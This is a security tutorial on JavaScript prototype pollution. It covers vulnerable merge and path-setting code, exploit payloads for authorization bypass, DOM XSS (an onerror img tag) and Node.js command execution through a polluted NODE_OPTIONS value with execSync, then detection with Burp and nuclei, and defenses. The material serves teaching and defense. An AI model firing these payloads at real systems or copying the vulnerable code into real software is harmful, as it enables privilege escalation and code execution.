Research /
Prototype Pollution: отруєння прототипів JavaScript
What Is Prototype Pollution
In JavaScript, every object has a prototype — a parent object from which it inherits methods and properties. The root prototype of all objects is Object.prototype.
const obj = {};
obj.__proto__ === Object.prototype; // true
obj.hasOwnProperty === Object.prototype.hasOwnProperty; // true
Prototype Pollution is a vulnerability where an attacker can add or modify properties on Object.prototype, affecting all objects in the application.
The Vulnerability Mechanism
The vulnerability arises when code recursively copies object properties without checking for the keys __proto__, constructor, or prototype.
Vulnerable Merge
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]); // recursion with no key check
} else {
target[key] = source[key];
}
}
return target;
}
// Attacker sends:
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
// Now:
const victim = {};
victim.isAdmin; // true — without explicit assignment!
Where It Occurs
Query string parsing (qs library)
const qs = require('qs');
// URL: ?__proto__[isAdmin]=true
const parsed = qs.parse(req.query);
// Object.prototype.isAdmin === 'true'
JSON merge / deep clone
// Popular vulnerable patterns in lodash < 4.17.12
_.merge({}, JSON.parse(userInput));
_.defaultsDeep({}, JSON.parse(userInput));
Dynamic path assignment
function setPath(obj, path, value) {
const keys = path.split('.');
let cur = obj;
for (let i = 0; i < keys.length - 1; i++) {
cur = cur[keys[i]] = cur[keys[i]] || {};
}
cur[keys[keys.length - 1]] = value;
}
// Attack: path = "__proto__.isAdmin", value = true
setPath({}, "__proto__.isAdmin", true);
({}).isAdmin; // true
Exploit: Authorization Bypass
// Vulnerable server code
app.post('/merge-settings', (req, res) => {
merge(userSettings, req.body);
res.json({ ok: true });
});
// Permission check
app.get('/admin', (req, res) => {
if (req.user.isAdmin) { // all objects now have isAdmin!
res.send('Admin panel');
}
});
// Attack:
// POST /merge-settings
// {"__proto__": {"isAdmin": true}}
// Now GET /admin is accessible to any user
Exploit: XSS via DOM Pollution
// Vulnerable client-side code
function renderMessage(msg) {
const div = document.createElement('div');
Object.assign(div, msg); // merging properties
document.body.appendChild(div);
}
// Attack via URL parameter:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
const params = new URLSearchParams(location.search);
params.forEach((v, k) => {
setPath(config, k, v); // vulnerable setPath
});
renderMessage({}); // innerHTML already polluted -> XSS
Exploit: RCE in Node.js
// Some Node.js modules read options from objects that inherit the prototype
const { execSync } = require('child_process');
// After pollution:
// {"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=0.0.0.0:9229"}}
// Or more directly via env:
// {"__proto__": {"env": {"NODE_OPTIONS": "-e require('child_process').execSync('id>/tmp/pwned')"}}}
// Some versions of webpack/gulp execute commands from the prototype
Detection
Manual (Burp)
POST /api/settings HTTP/1.1
Content-Type: application/json
{"__proto__": {"testPolluted": "yes"}}
# Then check:
GET /api/debug
# or any endpoint with {}
# if you see "testPolluted": "yes" — the vulnerability is present
Automated
# nuclei
nuclei -u https://target.com -t vulnerabilities/generic/prototype-pollution.yaml
# ppmap — specialized tool
node ppmap.js --target https://target.com
Defenses
// 1. Freeze the prototype (nuclear option)
Object.freeze(Object.prototype);
// 2. Key validation in merge
function safeMerge(target, source) {
for (let key of Object.keys(source)) { // Object.keys, not for..in
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // skip dangerous keys
}
// ...
}
}
// 3. Use Map instead of plain objects for user data
const store = new Map(); // Map doesn't inherit from Object.prototype
// 4. Object.create(null) — object without a prototype
const safeObj = Object.create(null);
// 5. Update lodash to 4.17.21+
// 6. JSON Schema validation of incoming data